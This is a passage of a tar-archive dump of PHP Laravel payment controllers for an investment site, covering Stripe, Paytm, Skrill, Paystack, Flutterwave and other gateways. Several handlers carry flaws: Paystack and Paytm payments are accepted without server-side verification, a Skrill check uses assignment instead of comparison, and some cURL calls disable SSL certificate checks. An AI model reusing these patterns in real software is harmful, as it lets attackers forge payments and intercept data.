$orderr->setInvoiceNumber($item_number); $orderr->setDescription($item_name); $transactionRequestType = new AnetAPI\TransactionRequestType(); $transactionRequestType->setTransactionType("authCaptureTransaction"); $transactionRequestType->setAmount($item_amount); $transactionRequestType->setOrder($orderr); $transactionRequestType->setPayment($paymentOne); $requestt = new AnetAPI\CreateTransactionRequest(); $requestt->setMerchantAuthentication($merchantAuthentication); $requestt->setRefId($refId); $requestt->setTransactionRequest($transactionRequestType); $controller = new AnetController\CreateTransactionController($requestt); if($authorizesettings['sandbox_check'] == 1){ $response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::SANDBOX); } else { $response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::PRODUCTION); } if ($response != null) { if ($response->getMessages()->getResultCode() == "Ok") { $tresponse = $response->getTransactionResponse(); if ($tresponse != null && $tresponse->getMessages() != null) { $addionalData = ['txnid'=>$tresponse->getTransId(), 'status'=>'running', 'method' => $request->method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest Successfully Complete.'); } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning', 'Payment Failed.'); } } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning', 'Payment Failed.'); } } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning', 'Payment Failed.'); } } return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning', 'Invalid Payment Details.'); } } Controllers/Api/Checkout/CoinGateController.php 0000644 00000013732 15111246741 0015606 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\Plan; use App\Models\Transaction; use App\Models\User; use CoinGate\CoinGate; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class CoinGateController extends Controller { public function coingetCallback(Request $request) { $trans_id = $request->order_id; if ($request->status == 'paid') { if (Invest::where('transaction_no',$trans_id)->where('payment_status','pending')->exists()){ $deposits = $request->receive_amount; $order = Invest::where('transaction_no',$trans_id)->where('payment_status','pending')->first(); $data['coin_amount'] = $request->pay_amount; $data['status'] = 1; $data['payment_status'] = "completed"; $data['txnid'] = $request->token; $order->update($data); $user = User::whereId($order->user_id)->first(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $order->amount; $trans->type = "Invest"; $trans->txnid = $order->transaction_no; $trans->user_id = $order->user_id; $trans->save(); $gs = Generalsetting::findOrFail(1); if($gs->is_affilate == 1) { $user = User::find($order->user_id); if ($user->referral_id != 0) { $val = $order->invest / 100; $sub = $val * $gs->affilate_charge; $sub = round($sub,2); $ref = User::find($user->referral_id); if(isset($ref)) { $ref->income += $sub; $ref->update(); $trans = new Transaction; $trans->email = $ref->email; $trans->amount = $sub; $trans->type = "Referral Bonus"; $trans->txnid = $order->order_number; $trans->user_id = $ref->id; $trans->save(); } } } if($gs->is_smtp == 1) { $data = [ 'to' => $order->customer_email, 'type' => "Invest", 'cname' => $order->customer_name, 'oamount' => $order->order_number, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $order->customer_email; $subject = " You have invested successfully."; $msg = "Hello ".$order->customer_name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } // return "*ok*"; } } } public function deposit(Request $request) { $invest = Invest::findOrFail($request->invest_id); $user = User::findOrFail($invest->user_id); $generalsettings = Generalsetting::findOrFail(1); $blockinfo = PaymentGateway::whereKeyword('coingate')->first(); $blocksettings= $blockinfo->convertAutoData(); if($request->amount > 0){ $acc = $user; $item_number = $invest->transaction_no; $item_amount = $request->amount; $currency_code = $request->currency_code; $item_name = $generalsettings->title." Invest"; $my_callback_url = route('api.checkout.coingate.notify'); $return_url = route('api.user.invest.checkout',$invest->id); $cancel_url = route('api.user.invest.checkout',$invest->id); CoinGate::config(array( 'environment' => 'sandbox', // sandbox OR live 'auth_token' => $blocksettings['secret_string'] )); $post_params = array( 'order_id' => $item_number, 'price_amount' => $item_amount, 'price_currency' => $currency_code, 'receive_currency' => $currency_code, 'callback_url' => $my_callback_url, 'cancel_url' => $cancel_url, 'success_url' => $return_url, 'title' => $item_name, 'description' => 'Invest' ); $coinGate = \CoinGate\Merchant\Order::create($post_params); if ($coinGate) { $invest->method = $request->method; $invest->update(); return redirect($coinGate->payment_url); } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','Some Problem Occurrs! Please Try Again'); } } return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','Please enter a valid amount.')->withInput(); } } Controllers/Api/Checkout/SkrillController.php 0000644 00000005273 15111246741 0015356 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class SkrillController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('skrill')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $invest_name = $gs->title." Invest"; $invest_number = Str::random(4).time(); $invest = Invest::findOrFail($request->invest_id); Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); $info['pay_to_email'] = trim($this->paydata['email']); $info['transaction_id'] = $invest->transaction_no; $info['status_url'] = route('api.checkout.skrill.notify'); $info['language'] = 'EN'; $info['amount'] = round($request->amount,2); $info['currency'] = $request->currency_code; $info['detail1_description'] = $gs->title; $info['detail1_text'] = "Pay To ".$gs->title; $data['info'] = $info; $data['method'] = "POST"; $data['url'] = "https://pay.skrill.com"; return view('payment.redirect',compact('data')); } public function notify(Request $request){ $method = Session::get('method'); $invest_id = Session::get('invest_id'); $invest = Invest::findOrFail($invest_id); $concatFields = $request->merchant_id . $request->transaction_id . strtoupper(md5(trim($this->paydata['secret']))) . $request->mb_amount . $request->mb_currency . $request->status; if (strtoupper(md5($concatFields)) == $request->md5sig && $request->pay_to_email == trim($this->paydata['email']) && $invest->status = '0') { $addionalData = ['status'=>'running','method'=>$method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); }else{ return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','Something went wrong!'); } } } Controllers/Api/Checkout/PaystackController.php 0000644 00000002052 15111246741 0015665 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Models\Generalsetting; use App\Models\Invest; use App\Repositories\OrderRepository; use Illuminate\Support\Str; class PaystackController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ if($request->currency_code != "NGN") { return redirect()->back()->with('unsuccess','Please Select NGN Currency For Paystack.'); } $invest = Invest::findOrFail($request->invest_id); $addionalData = ['txnid'=>$request->paystack_txn, 'status'=>'running', 'method' => $request->method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); } } Controllers/Api/Checkout/StripeController.php 0000644 00000006670 15111246741 0015366 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use Cartalyst\Stripe\Laravel\Facades\Stripe; use App\Repositories\OrderRepository; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Models\Transaction; use App\Models\Referral; use App\Models\User; use Carbon\Carbon; use Validator; use Config; class StripeController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $data = PaymentGateway::whereKeyword('Stripe')->first(); $paydata = $data->convertAutoData(); Config::set('services.stripe.key', $paydata['key']); Config::set('services.stripe.secret', $paydata['secret']); $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $item_name = $gs->title." Invest"; $item_number = Str::random(4).time(); $item_amount = $request->amount; $invest_id = $request->invest_id; $support = ['USD']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Currency For Stripe.'); } $validator = Validator::make($request->all(),[ 'cardNumber' => 'required', 'cardCVC' => 'required', 'month' => 'required', 'year' => 'required', ]); if ($validator->passes()) { $stripe = Stripe::make(Config::get('services.stripe.secret')); try{ $token = $stripe->tokens()->create([ 'card' =>[ 'number' => $request->cardNumber, 'exp_month' => $request->month, 'exp_year' => $request->year, 'cvc' => $request->cardCVC, ], ]); if (!isset($token['id'])) { return back()->with('error','Token Problem With Your Token.'); } $charge = $stripe->charges()->create([ 'card' => $token['id'], 'currency' => $request->currency_code, 'amount' => $item_amount, 'description' => $item_name, ]); if ($charge['status'] == 'succeeded') { $addionalData = ['txnid'=>$charge['balance_transaction'],'charge_id'=>$charge['id'],'status'=>'running']; $invest = Invest::findOrFail($invest_id); $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return back()->with('success','Invest successfully complete.'); } }catch (Exception $e){ return back()->with('unsuccess', $e->getMessage()); }catch (\Cartalyst\Stripe\Exception\CardErrorException $e){ return back()->with('unsuccess', $e->getMessage()); }catch (\Cartalyst\Stripe\Exception\MissingParameterException $e){ return back()->with('unsuccess', $e->getMessage()); } } return back()->with('warning', 'Please Enter Valid Credit Card Informations.'); } } Controllers/Api/Checkout/PaytmController.php 0000644 00000031765 15111246741 0015215 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Repositories\OrderRepository; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use Illuminate\Support\Str; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; class PaytmController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ if($request->currency_code != "INR") { return redirect()->back()->with('unsuccess','Please Select INR Currency For Paytm.'); } $settings = Generalsetting::findOrFail(1); $invest = Invest::findOrFail($request->invest_id); $item_name = $settings->title." Invest"; $item_number = $invest->transaction_no; $item_amount = $request->amount; Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); $data_for_request = $this->handlePaytmRequest( $item_number, $item_amount ); $paytm_txn_url = 'https://securegw-stage.paytm.in/theia/processTransaction'; $paramList = $data_for_request['paramList']; $checkSum = $data_for_request['checkSum']; return view( 'frontend.paytm-merchant-form', compact( 'paytm_txn_url', 'paramList', 'checkSum' ) ); } public function handlePaytmRequest( $transaction_id, $amount) { $gs = Generalsetting::first(); $data = PaymentGateway::whereKeyword('Paytm')->first(); $paydata = $data->convertAutoData(); $this->getAllEncdecFunc(); $checkSum = ""; $paramList = array(); $paramList["MID"] = $paydata['merchant']; $paramList["ORDER_ID"] = $transaction_id; $paramList["CUST_ID"] = $transaction_id; $paramList["INDUSTRY_TYPE_ID"] = $paydata['industry']; $paramList["CHANNEL_ID"] = 'WEB'; $paramList["TXN_AMOUNT"] = $amount; $paramList["WEBSITE"] = $paydata['website']; $paramList["CALLBACK_URL"] = route('api.checkout.paytm.notify'); $paytm_merchant_key = $paydata['secret']; $checkSum = getChecksumFromArray( $paramList, $paytm_merchant_key ); return array( 'checkSum' => $checkSum, 'paramList' => $paramList ); } function getAllEncdecFunc() { function encrypt_e($input, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_encrypt ( $input , "AES-128-CBC" , $key, 0, $iv ); return $data; } function decrypt_e($crypt, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_decrypt ( $crypt , "AES-128-CBC" , $key, 0, $iv ); return $data; } function pkcs5_pad_e($text, $blocksize) { $pad = $blocksize - (strlen($text) % $blocksize); return $text . str_repeat(chr($pad), $pad); } function pkcs5_unpad_e($text) { $pad = ord($text(strlen($text) - 1)); if ($pad > strlen($text)) return false; return substr($text, 0, -1 * $pad); } function generateSalt_e($length) { $random = ""; srand((double) microtime() * 1000000); $data = "AbcDE123IJKLMN67QRSTUVWXYZ"; $data .= "aBCdefghijklmn123opq45rs67tuv89wxyz"; $data .= "0FGH45OP89"; for ($i = 0; $i < $length; $i++) { $random .= substr($data, (rand() % (strlen($data))), 1); } return $random; } function checkString_e($value) { if ($value == 'null') $value = ''; return $value; } function getChecksumFromArray($arrayList, $key, $sort=1) { if ($sort != 0) { ksort($arrayList); } $str = getArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getChecksumFromString($str, $key) { $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function verifychecksum_e($arrayList, $key, $checksumvalue) { $arrayList = removeCheckSumParam($arrayList); ksort($arrayList); $str = getArray2StrForVerify($arrayList); $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function verifychecksum_eFromStr($str, $key, $checksumvalue) { $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function getArray2Str($arrayList) { $findme = 'REFUND'; $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pos = strpos($value, $findme); $pospipe = strpos($value, $findmepipe); if ($pos !== false || $pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function getArray2StrForVerify($arrayList) { $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function redirect2PG($paramList, $key) { $hashString = getchecksumFromArray($paramList, $key); $checksum = encrypt_e($hashString, $key); } function removeCheckSumParam($arrayList) { if (isset($arrayList["CHECKSUMHASH"])) { unset($arrayList["CHECKSUMHASH"]); } return $arrayList; } function getTxnStatus($requestParamList) { return callAPI(PAYTM_STATUS_QUERY_URL, $requestParamList); } function getTxnStatusNew($requestParamList) { return callNewAPI(PAYTM_STATUS_QUERY_NEW_URL, $requestParamList); } function initiateTxnRefund($requestParamList) { $CHECKSUM = getRefundChecksumFromArray($requestParamList,PAYTM_MERCHANT_KEY,0); $requestParamList["CHECKSUM"] = $CHECKSUM; return callAPI(PAYTM_REFUND_URL, $requestParamList); } function callAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData)) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } function callNewAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData)) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } function getRefundChecksumFromArray($arrayList, $key, $sort=1) { if ($sort != 0) { ksort($arrayList); } $str = getRefundArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getRefundArray2Str($arrayList) { $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pospipe = strpos($value, $findmepipe); if ($pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function callRefundAPI($refundApiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL, $refundApiURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } } function getConfigPaytmSettings() { $gs = Generalsetting::first(); if ($gs->paytm_mode == 'sandbox') { define('PAYTM_ENVIRONMENT', 'TEST'); // PROD } elseif ($gs->paytm_mode == 'live') { define('PAYTM_ENVIRONMENT', 'PROD'); // PROD } define('PAYTM_MERCHANT_KEY', $gs->paytm_secret); define('PAYTM_MERCHANT_MID', $gs->paytm_merchant); define('PAYTM_MERCHANT_WEBSITE', $gs->paytm_website); $PAYTM_STATUS_QUERY_NEW_URL='https://securegw-stage.paytm.in/merchant-status/getTxnStatus'; $PAYTM_TXN_URL='https://securegw-stage.paytm.in/theia/processTransaction'; if (PAYTM_ENVIRONMENT == 'PROD') { $PAYTM_STATUS_QUERY_NEW_URL='https://securegw.paytm.in/merchant-status/getTxnStatus'; $PAYTM_TXN_URL='https://securegw.paytm.in/theia/processTransaction'; } define('PAYTM_REFUND_URL', ''); define('PAYTM_STATUS_QUERY_URL', $PAYTM_STATUS_QUERY_NEW_URL); define('PAYTM_STATUS_QUERY_NEW_URL', $PAYTM_STATUS_QUERY_NEW_URL); define('PAYTM_TXN_URL', $PAYTM_TXN_URL); } public function paytmCallback( Request $request ) { $method = Session::get('method'); $invest_id = Session::get('invest_id'); $transaction_id = $request['ORDERID']; if ( 'TXN_SUCCESS' === $request['STATUS'] ) { $invest = Invest::findOrFail($invest_id); $addionalData = ['txnid' => $request['TXNID'], 'status'=>'running','method'=>$method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); Session::forget('method'); Session::forget('invest_id'); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); } else if( 'TXN_FAILURE' === $request['STATUS'] ){ return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning','Payment Cancelled!'); } } } Controllers/Api/Checkout/FlutterwaveController.php 0000644 00000011143 15111246741 0016417 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\User; use App\Repositories\OrderRepository; use Illuminate\Support\Facades\Session; class FlutterwaveController extends Controller { public $public_key; private $secret_key; public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $data = PaymentGateway::whereKeyword('flutterwave')->first(); $paydata = $data->convertAutoData(); $this->public_key = $paydata['public_key']; $this->secret_key = $paydata['secret_key']; $this->orderRepositorty = $orderRepositorty; } public function store(Request $request) { $invest = Invest::findOrFail($request->invest_id); $user = User::findOrFail($invest->user_id); $item_amount = $request->amount; $curl = curl_init(); $customer_email = $user->email; $amount = $item_amount; $currency = $request->currency_code; $txref = $invest->transaction_no; $PBFPubKey = $this->public_key; $redirect_url = route('api.checkout.flutter.notify'); $payment_plan = ""; Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/hosted/pay", CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode([ 'amount' => $amount, 'customer_email' => $customer_email, 'currency' => $currency, 'txref' => $txref, 'PBFPubKey' => $PBFPubKey, 'redirect_url' => $redirect_url, 'payment_plan' => $payment_plan ]), CURLOPT_HTTPHEADER => [ "content-type: application/json", "cache-control: no-cache" ], )); $response = curl_exec($curl); $err = curl_error($curl); if($err){ die('Curl returned error: ' . $err); } $transaction = json_decode($response); if(!$transaction->data && !$transaction->data->link){ print_r('API returned error: ' . $transaction->message); } return redirect($transaction->data->link); } public function notify(Request $request) { $input = $request->all(); $method = Session::get('method'); $invest_id = Session::get('invest_id'); $invest = Invest::findOrFail($invest_id); if($request->cancelled == "true"){ return redirect()->route('api.user.invest.checkout',$invest->id)->with('success',__('Payment Cancelled!')); } if (isset($input['txref'])) { $ref = $input['txref']; $query = array( "SECKEY" => $this->secret_key, "txref" => $ref ); $data_string = json_encode($query); $ch = curl_init('https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/verify'); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); $response = curl_exec($ch); curl_close($ch); $resp = json_decode($response, true); if ($resp['status'] == "success") { $paymentStatus = $resp['data']['status']; $chargeResponsecode = $resp['data']['chargecode']; if (($chargeResponsecode == "00" || $chargeResponsecode == "0") && ($paymentStatus == "successful")) { $addionalData = ['status'=>'running','method'=>$method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning','Something went wrong!'); } } } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning','Something went wrong!'); } } } Controllers/Api/Checkout/PerfectMoneyController.php 0000644 00000007510 15111246741 0016512 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\User; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class PerfectMoneyController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('perfectmoney')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $method = Session::get('method'); $invest_id = Session::get('invest_id'); $invest = Invest::findOrFail($invest_id); $user = User::findOrFail($invest->user_id); $gs = Generalsetting::findOrFail(1); $invest_name = $gs->title." Invest"; Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); $info['PAYEE_ACCOUNT'] = trim($this->paydata['wallet_code']); $info['PAYEE_NAME'] = $invest_name; $info['PAYMENT_ID'] = $invest->transaction_no; $info['PAYMENT_AMOUNT'] = round($request->amount,2); $info['PAYMENT_UNITS'] = $request->currency_code; $info['STATUS_URL'] = route('api.checkout.perfectmoney.notify'); $info['PAYMENT_URL'] = route('api.user.invest.checkout',$invest->id); $info['PAYMENT_URL_METHOD'] = 'POST'; $info['NOPAYMENT_URL'] = route('api.user.invest.checkout',$invest->id); $info['NOPAYMENT_URL_METHOD'] = 'POST'; $info['SUGGESTED_MEMO'] = $user->name; $info['BAGGAGE_FIELDS'] = 'IDENT'; $data['info'] = $info; $data['method'] = 'post'; $data['url'] = 'https://perfectmoney.is/api/step1.asp'; return view('payment.redirect',compact('data')); } public function notify(Request $request){ $method = Session::get('method'); $invest_id = Session::get('invest_id'); $invest = Invest::findOrFail($invest_id); $alt_passphrase = strtoupper(md5($this->paydata['alternative_passphrase'])); define('ALTERNATE_PHRASE_HASH', $alt_passphrase); define('PATH_TO_LOG', '/somewhere/out/of/document_root/'); $string = $_POST['PAYMENT_ID'] . ':' . $_POST['PAYEE_ACCOUNT'] . ':' . $_POST['PAYMENT_AMOUNT'] . ':' . $_POST['PAYMENT_UNITS'] . ':' . $_POST['PAYMENT_BATCH_NUM'] . ':' . $_POST['PAYER_ACCOUNT'] . ':' . ALTERNATE_PHRASE_HASH . ':' . $_POST['TIMESTAMPGMT']; $hash = strtoupper(md5($string)); $hash2 = $_POST['V2_HASH']; if ($hash == $hash2) { foreach ($_POST as $key => $value) { $details[$key] = $value; } $pay_amount = $_POST['PAYMENT_AMOUNT']; $track = $_POST['PAYMENT_ID']; if ($_POST['PAYEE_ACCOUNT'] == $this->paydata['wallet_code'] && $pay_amount == round($invest->amount,2) && $invest->status == 0) { $addionalData = ['txnid'=>$details, 'status'=>'running', 'method'=>$method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); }else{ return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','Something went wrong!'); } }else{ return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','Something went wrong!'); } } } Controllers/Api/Checkout/MercadopagoController.php 0000644 00000003541 15111246741 0016333 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\Plan; use App\Models\User; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Str; use MercadoPago; use Auth; class MercadopagoController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $invest = Invest::findOrFail($request->invest_id); $user = User::findOrFail($invest->user_id); $payment_amount = $invest->amount; $data = PaymentGateway::whereKeyword('mercadopago')->first(); $paydata = $data->convertAutoData(); MercadoPago\SDK::setAccessToken($paydata['token']); $payment = new MercadoPago\Payment(); $payment->transaction_amount = $payment_amount; $payment->token = $request->token; $payment->description = 'Checkout '.$gs->title; $payment->installments = 1; $payment->payer = array( "email" => $user ? $user->email : 'example@gmail.com' ); $payment->save(); if ($payment->status == 'approved') { $addionalData = ['status'=>'running', 'method'=>$request->method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); }else{ return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','Something went wrong!'); } } } Controllers/Api/Checkout/PayeerController.php 0000644 00000007311 15111246741 0015336 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class PayeerController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('payeer')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $invest_name = $gs->title." Invest"; $invest_number = Str::random(4).time(); $invest = Invest::findOrFail($request->invest_id); Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); $arHash = [ trim($this->paydata['merchant_id']), $invest->transaction_no, $request->amount, $request->currency_code, base64_encode("Pay To $gs->title"), trim($this->paydata['secret_key']) ]; $info['m_shop'] = trim($this->paydata['merchant_id']); $info['m_orderid'] = $invest->transaction_no; $info['m_amount'] = $request->amount; $info['m_curr'] = $request->currency_code; $info['m_desc'] = base64_encode("Pay To $gs->title"); $info['m_sign'] = strtoupper(hash('sha256', implode(":", $arHash))); $info['lang'] = 'en'; $data['info'] = $info; $data['method'] = "GET"; $data['url'] = "https://payeer.com/merchant"; return view('payment.redirect',compact('data')); } public function notify(Request $request) { $method = Session::get('method'); $invest_id = Session::get('invest_id'); $invest = Invest::findOrFail($invest_id); if (isset($request->m_operation_id) && isset($request->m_sign)) { $sign_hash = strtoupper(hash('sha256', implode(":", array( $request->m_operation_id, $request->m_operation_ps, $request->m_operation_date, $request->m_operation_pay_date, $request->m_shop, $request->m_orderid, $request->m_amount, 